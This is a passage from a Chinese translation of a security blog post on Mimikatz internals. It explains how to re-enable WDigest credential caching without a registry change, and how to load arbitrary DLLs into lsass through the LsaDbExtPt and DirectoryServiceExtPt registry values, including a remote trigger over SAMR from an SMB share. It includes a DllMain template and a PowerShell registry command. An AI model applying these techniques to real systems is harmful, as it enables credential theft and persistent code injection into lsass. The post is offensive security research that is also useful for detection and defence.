Guard`保护的系统上运行，则更新此值所需的修改很简单，留给读者自行练习。
执行POC后，我们发现WDigest现在已重新启用，而无需设置注册表项，从而使我们能够在缓存凭据时提取凭据：
同样，此POC不应被认为是OpSec安全的，只是一个如何制作自己的工具的简单示例。
当然，现在启用WDigest的方法当然会带来风险，主要是对lsass的`WriteProcessMemory`调用，但是如果环境适合，它提供了一种无需设置注册表值即可启用WDigest的好方法。还有其他获取纯文本凭据的方法，这些方法可能更适合WDigest之外的目标（针对`memssp`的对象，我们将在以后的文章中进行回顾）。
悄悄话：正如GentilKiwi所指出的那样，要使`UseLogonCredential`生效其实并不需要重启...所以我们回到反汇编程序。
回顾引用注册表值的其他位置，我们发现了`wdigest!DigestWatchParamKey`，它监视许多键，包括：
用于在更新时触发此函数的Win32 API是`RegNotifyKeyChangeValue`：
而且，如果我们在WinDBG中添加一个`wdigest!DigestWatchParamKey`断点，那么我们会在尝试添加`UseLogonCredential`时成功触发了它：
## 福利环节-将任意DLL加载到LSASS中
因此，在研究分解器时，我想寻找一种替代方法，将代码加载到lsass中，同时避免hook Win32
API调用或加载SSP。经过一些反汇编尝试后，我在lsasrv.dll中遇到了下图内容：
可以在函数`LsapLoadLsaDbExtensionDll`中找到对用户提供的值调用`LoadLibraryExW`的尝试，这使我们可以制作一个要加载到lsass进程中的DLL，例如：
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Insert l33t payload here
break;
}
// Important to avoid BSOD
return FALSE;
}
重要的是，在`DllMain`函数结束时，返回一个FALSE用来对`LoadLibraryEx`强行施加错误。这是为了避免随后调用`GetProcAddress`。否则，将导致重新启动时出现BSOD，直到删除DLL或注册表项为止。
制作完DLL之后，我们要做的就是创建上述注册表项：
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
DLL的加载将在系统重新启动时发生，这使其成为潜在的特权妥协技术，将payload直接注入lsass（当然，只要不启用PPL）即可。
## 福利环节2-将任意DLL远程加载到LSASS
经过进一步的搜索后，在`samsrv.dll`中发现了与上述类似的向量。再次通过`LoadLibraryEx`调用将受控的注册表值加载到lsass中：
同样，我们可以通过添加注册表项并重启来利用此功能，但是触发这种情况要简单得多，因为可以使用SAMR RPC调用来触发它。
有意思的利用方式：通过使用上面的WDigest凭据提取代码来制作DLL，从而为我们转储凭据。
要加载DLL，我们可以使用一个非常简单的`Impacket
Python`脚本来修改注册表，并添加一个密钥到`HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt`指向开放SMB共享上托管的DLL，然后使用对`hSamConnect`
RPC的调用来触发DLL的加载。
可以在[此处](https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394)找到所用DLL的代码，它是对先前示例的修改。
希望本文能使您对WDigest凭据缓存的工作方式以及Mimikatz在"sekurlsa::wdigest"过程中如何读取和解密密码有所了解。更重要的是，我希望它对打算diy相关工具的任何人提供帮助。
[原文链接](https://blog.xpnsec.com/exploring-mimikatz-part-1/) | 社区文章 |